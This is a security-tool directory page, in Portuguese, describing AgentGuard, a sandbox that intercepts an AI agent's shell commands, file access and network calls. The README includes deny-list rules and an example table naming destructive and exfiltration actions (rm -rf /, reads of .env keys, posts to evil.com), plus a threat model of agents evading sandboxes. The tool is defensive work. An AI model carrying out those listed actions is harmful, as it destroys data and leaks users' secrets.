Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
AgentGuard — Sandbox de confiança zero para agentes de IA com prisão de sistema de arquivos em nível de kernel, proxy de rede transparente e mecanismo de política baseado em YAML para interceptar e controlar comandos shell, operações de arquivos e requisições de rede. | Kitploit
Ferramentas/GitHubGitHub/thodoristsampouris/agentguard
Ferramentas DefensivasSegurança de ContêineresVirtualização para SegurançaSegurança de RedeSegurança de IA
GitHubthodoristsampouris/agentguard

AgentGuard

Sandbox de confiança zero para agentes de IA com prisão de sistema de arquivos em nível de kernel, proxy de rede transparente e mecanismo de política baseado em YAML para interceptar e controlar comandos shell, operações de arquivos e requisições de rede.

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Ver Repositório
89há 5 mesesAinda não revisado
Compartilhar

AgentGuard

Sandbox de confiança zero para agentes de IA autônomos.

O AgentGuard envolve qualquer agente de IA (LangChain, CrewAI, AutoGen, scripts personalizados) com barreiras de segurança. Uma única mudança de comando:

root@kitploit:~
# Antes (perigoso — agente tem acesso total ao sistema)
python my_agent.py

# Depois (em sandbox)
agentguard run -- python my_agent.py

O AgentGuard intercepta cada comando de shell, modificação de arquivo e requisição de rede que o agente faz. Ações seguras são automaticamente permitidas, ações perigosas são automaticamente bloqueadas, e tudo o mais solicita aprovação humana.

Como Funciona

O AgentGuard possui quatro camadas de defesa que trabalham juntas:

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│ Layer 0: Filesystem Jail (sandbox-exec no macOS)            │
│   Aplicação a nível de kernel. Restringe escritas de        │
│   arquivos e rede no nível de chamada de sistema. O agente   │
│   não pode contornar do espaço do usuário. Bloqueia          │
│   open() do Python, requests.post(), etc.                    │
├─────────────────────────────────────────────────────────────┤
│ Layer 1: Network Proxy                                      │
│   Proxy HTTP/HTTPS transparente. Cada chamada de rede que   │
│   o agente faz é verificada contra a política. Permitir/    │
│   negar por destino com visibilidade total na TUI.          │
├─────────────────────────────────────────────────────────────┤
│ Layer 2: PATH Shims                                         │
│   Shims de script shell que interceptam comandos como git,  │
│   pip, curl, rm. Cada shim pergunta ao daemon por permissão │
│   antes de executar o binário real.                         │
├─────────────────────────────────────────────────────────────┤
│ Layer 3: Policy Engine + Approval Daemon                    │
│   Regras baseadas em YAML avaliam cada ação interceptada.   │
│   Permite automaticamente comandos seguros, bloqueia         │
│   automaticamente os perigosos, e solicita aprovação         │
│   humana para todo o resto.                                 │
└─────────────────────────────────────────────────────────────┘

Nenhuma camada isolada é o limite de segurança. Elas trabalham juntas — defesa em profundidade.

Início Rápido

Compilar

root@kitploit:~
go build -o agentguard ./cmd/agentguard/
go build -o agentguard-check ./cmd/agentguard-check/

Ambos os binários devem estar no mesmo diretório.

Criar uma Política

root@kitploit:~
agentguard init

Isso cria .agentguard/policy.yaml no diretório atual. Edite-o para atender suas necessidades.

Executar um Agente (TUI Interativa)

root@kitploit:~
agentguard run -- python my_agent.py

A TUI assume o terminal e mostra:

  • Fluxo de atividade ao vivo (cada ação interceptada)
  • Solicitações de aprovação para comandos ambíguos (pressione Y/N/A/B)
  • Eventos de permitir/negar rede do proxy
  • Eventos de violação da sandbox
  • stdout/stderr do agente (alternar com Tab)

Executar um Agente (Headless)

Para ferramentas interativas como Claude Code que precisam do terminal:

root@kitploit:~
agentguard run --headless -- claude

O agente obtém o terminal diretamente. O AgentGuard é executado silenciosamente em segundo plano. Todos os eventos são registrados em ~/.agentguard/logs/headless.log. Monitore em outro terminal:

root@kitploit:~
tail -f ~/.agentguard/logs/headless.log

Referência da CLI

root@kitploit:~
agentguard run [flags] -- <command> [args...]
    --policy <path>     Use um arquivo de política específico
    --headless          Sem TUI — agente obtém o terminal
    --default-allow     Permite automaticamente decisões PROMPT no modo headless (padrão: nega automaticamente)
    --no-sandbox        Desabilita sandbox-exec (shims e proxy ainda ativos)

agentguard init         Cria um arquivo de política padrão
agentguard version      Exibe a versão

Arquivo de Política

As políticas são arquivos YAML que definem o que o agente pode e não pode fazer. O AgentGuard verifica três locais (nesta ordem):

  1. ./.agentguard/policy.yaml (local ao projeto)
  2. ~/.agentguard/policy.yaml (global do usuário)
  3. Padrões embutidos

Exemplo de Política

root@kitploit:~
version: 1

deny:
  # Bloquear comandos perigosos
  - command: "rm"
    args: "-rf *"
    reason: "Exclusão recursiva forçada é muito perigosa"
  - command: "sudo"
    args: "*"
    reason: "Escalação de privilégio não é permitida"
  - command: "chmod"
    args: "777 *"
    reason: "Permissões de escrita global são perigosas"

  # Bloquear leitura de arquivos sensíveis (aplicado pelo sandbox-exec)
  - file:
      path: "*.env"
      action: "read"
      reason: "Não permitir que o agente leia arquivos .env"
  - file:
      path: "*.pem"
      action: "read"
      reason: "Não permitir que o agente leia chaves privadas"

allow:
  # Comandos seguros somente leitura
  - command: "ls"
  - command: "cat"
  - command: "pwd"
  - command: "echo"
  - command: "grep"
  - command: "head"
  - command: "tail"
  - command: "wc"

  # Git somente leitura
  - command: "git"
    args: "status"
  - command: "git"
    args: "log *"
  - command: "git"
    args: "diff *"

  # Permitir escritas na área de trabalho
  - file:
      path: "/tmp/workspace/**"
      action: "write"

  # Permitir endpoints de API específicos
  - network:
      destination: "api.anthropic.com:443"
  - network:
      destination: "api.github.com:443"

Ordem de Avaliação das Regras

  1. Regras de negação específicas — verificadas primeiro. Se corresponderem, a ação é bloqueada imediatamente.
  2. Regras de permissão — verificadas em segundo lugar. Se corresponderem, a ação é permitida.
  3. Regras de negação abrangentes (ex.: deny network *) — verificadas em terceiro lugar. Atuam como negação padrão.
  4. Nenhuma correspondência — o humano é solicitado (TUI) ou negado automaticamente (headless).

Tipos de Regra

Regras de comando — correspondem a comandos de shell pelo nome e padrão de argumento:

root@kitploit:~
- command: "git"
  args: "push *"
  reason: "Push requer aprovação"

Regras de arquivo — correspondem a operações de arquivo (aplicadas pelo sandbox-exec):

root@kitploit:~
- file:
    path: "*.env"
    action: "read"     # "read" ou "write"
    reason: "Proteger segredos"

Regras de rede — correspondem a destinos de rede (aplicadas pelo proxy + sandbox-exec):

root@kitploit:~
- network:
    destination: "api.anthropic.com:443"

Use * como curinga nos argumentos de comando, caminhos de arquivo e destinos de rede.

Controles da TUI

TeclaAçãoQuando
YPermitir a requisição pendenteSolicitação de aprovação visível
NNegar a requisição pendenteSolicitação de aprovação visível
APermitir + lembrar para esta sessão ("Sempre Permitir")Solicitação de aprovação visível
BNegar + lembrar para esta sessão ("Bloquear para Sempre")Solicitação de aprovação visível
TabAlternar painel stdout/stderr do agenteSempre
Seta p/ cima/baixoRolar o fluxo de atividadeSempre
QSair (mata o agente)Sempre

O Que Cada Camada Captura

Ação do agenteShimsProxysandbox-exec
subprocess.run(["rm", "-rf", "/"])Sim--
subprocess.run(["git", "push"])Sim--
requests.post("https://evil.com")-SimSim
urllib.request.urlopen("https://api.com")-SimSim
open(".env", "r")--Sim
open("/etc/shadow", "w")--Sim
/usr/bin/curl https://evil.com (caminho absoluto)-SimSim

Arquitetura

root@kitploit:~
agentguard/
├── cmd/
│   ├── agentguard/              # Binário principal da CLI
│   └── agentguard-check/        # Binário auxiliar do shim
├── internal/
│   ├── policy/                  # Motor de política (parsing YAML, avaliação de regras)
│   ├── events/                  # Sistema de eventos (log de auditoria JSONL, pub/sub)
│   ├── daemon/                  # Daemon central (socket Unix, fila de aprovação)
│   │   └── client/              # Biblioteca cliente para shims
│   ├── shim/                    # Gerador de shim (interceptação baseada em PATH)
│   ├── proxy/                   # Proxy de rede transparente
│   ├── spawner/                 # Orquestração + integração com sandbox do macOS
│   └── ui/tui/                  # Interface de terminal (Bubble Tea)
├── configs/
│   └── default_policy.yaml      # Arquivo de política de referência
├── .gitignore
├── go.mod
├── LICENSE
└── README.md

Visão Geral dos Componentes

ComponentePacotePropósito
Motor de Políticainternal/policyAnalisa regras YAML, avalia requisições → PERMITIR / NEGAR / SOLICITAR
Sistema de Eventosinternal/eventsLog de auditoria JSONL somente anexação + pub/sub em tempo real para TUI
Daemoninternal/daemonServidor de socket Unix, fila de aprovação com timeouts, gerenciamento de sessão
TUIinternal/ui/tuiInterface de terminal Bubble Tea com fluxo de atividade e modal de aprovação
Gerador de Shiminternal/shimGera shims de script shell, resolve caminhos de binários reais
Proxy de Redeinternal/proxyProxy HTTP/HTTPS transparente aplicando política por destino
Spawnerinternal/spawnerOrquestra tudo: política → daemon → shims → proxy → sandbox → agente → TUI
Sandbox macOSinternal/spawner/jail_darwin.gosandbox-exec com perfis Seatbelt para aplicação a nível de kernel

Log de Auditoria

Cada ação interceptada é registrada em ~/.agentguard/logs/YYYY-MM-DD.jsonl:

root@kitploit:~
{"id":"a1b2c3","timestamp":"2026-03-22T14:30:00Z","session_id":"abc123","source":"shim","command":"git","args":["push","origin","main"],"decision":"deny","decided_by":"human","response_time_ms":3200}
{"id":"d4e5f6","timestamp":"2026-03-22T14:30:01Z","session_id":"abc123","source":"proxy","network_dst":"api.anthropic.com:443","decision":"allow","decided_by":"policy"}

Consulte com ferramentas padrão:

root@kitploit:~
# Todas as ações negadas hoje
cat ~/.agentguard/logs/2026-03-22.jsonl | jq 'select(.decision == "deny")'

# Todas as requisições de rede
cat ~/.agentguard/logs/2026-03-22.jsonl | jq 'select(.source == "proxy")'

# Comandos que exigiram aprovação humana
cat ~/.agentguard/logs/2026-03-22.jsonl | jq 'select(.decided_by == "human")'

Suporte a Plataformas

PlataformaShimsProxysandbox-execNegar leitura de arquivo
macOS (Apple Silicon)SimSimSimSim
macOS (Intel)SimSimSimSim
LinuxSimSimNão (futuro: namespaces + seccomp)Não
WindowsSimSimNão (futuro: Job Objects)Não

Modelo de Segurança

Modelo de ameaça: O agente não é confiável. Ele pode tentar:

  • Executar comandos perigosos (rm -rf /, sudo)
  • Exfiltrar dados via chamadas de rede
  • Ler arquivos sensíveis (.env, chaves privadas)
  • Contornar a sandbox via caminhos absolutos, APIs nativas da linguagem ou manipulação de ambiente

O que o AgentGuard impede:

  • Comandos de shell são interceptados por shims e avaliados pela política
  • Chamadas de rede são roteadas através do proxy e filtradas por destino
  • Escritas de arquivos são restritas pelo sandbox-exec a diretórios permitidos
  • Leituras de arquivos podem ser negadas para padrões específicos (.env, .pem, etc.)
  • Manipulação de sessão sobre o socket do daemon é bloqueada
  • Injeção de shell em scripts shim é prevenida por validação de entrada
  • Injeção ANSI na exibição da TUI é removida
  • Path traversal em regras de arquivo é prevenido por filepath.Clean

O que o AgentGuard NÃO impede (limitações conhecidas):

  • Chamadas de sistema brutas via ctypes/cffi (sandbox-exec também as bloqueia no macOS)
  • Explorações de kernel (requer root, mesmo limite de confiança de qualquer aplicativo)
  • Exfiltração de dados por destinos de rede permitidos (se você permitir api.anthropic.com, o agente pode enviar dados para lá)
  • Leitura de arquivos que não estão na lista de negação (permitimos todas as leituras, exceto padrões explicitamente negados)

Desenvolvimento

Executar Testes

root@kitploit:~
go test ./... -race

Cobertura de Testes

O projeto tem mais de 140 testes cobrindo:

  • Avaliação de política (correspondência de glob, mesclagem de regras, prevenção de path traversal)
  • Registro de eventos (formato JSONL, rotação diária, escritas concorrentes, pub/sub)
  • Daemon (comunicação via socket, fila de aprovação, gerenciamento de sessão, timeouts)
  • TUI (tratamento de teclado, exibição de eventos, sanitização ANSI)
  • Geração de shim (prevenção de injeção de shell, validação de caminho)
  • Proxy de rede (permitir/negar, registro de eventos)
  • Testes de integração (fluxo completo de ponta a ponta)
  • Sandbox macOS (geração de perfil, execução real de sandbox-exec)

Build Tags

  • jail_darwin.go — sandbox-exec do macOS (compilado apenas no macOS)
  • jail_noop.go — modo fallback apenas com shim (compilado no Linux/Windows)
  • sandbox_monitor_darwin.go — monitoramento de log do sistema macOS para violações de sandbox
  • sandbox_monitor_noop.go — operação vazia em plataformas que não são macOS

Licença

Veja LICENSE.

Baixar ferramenta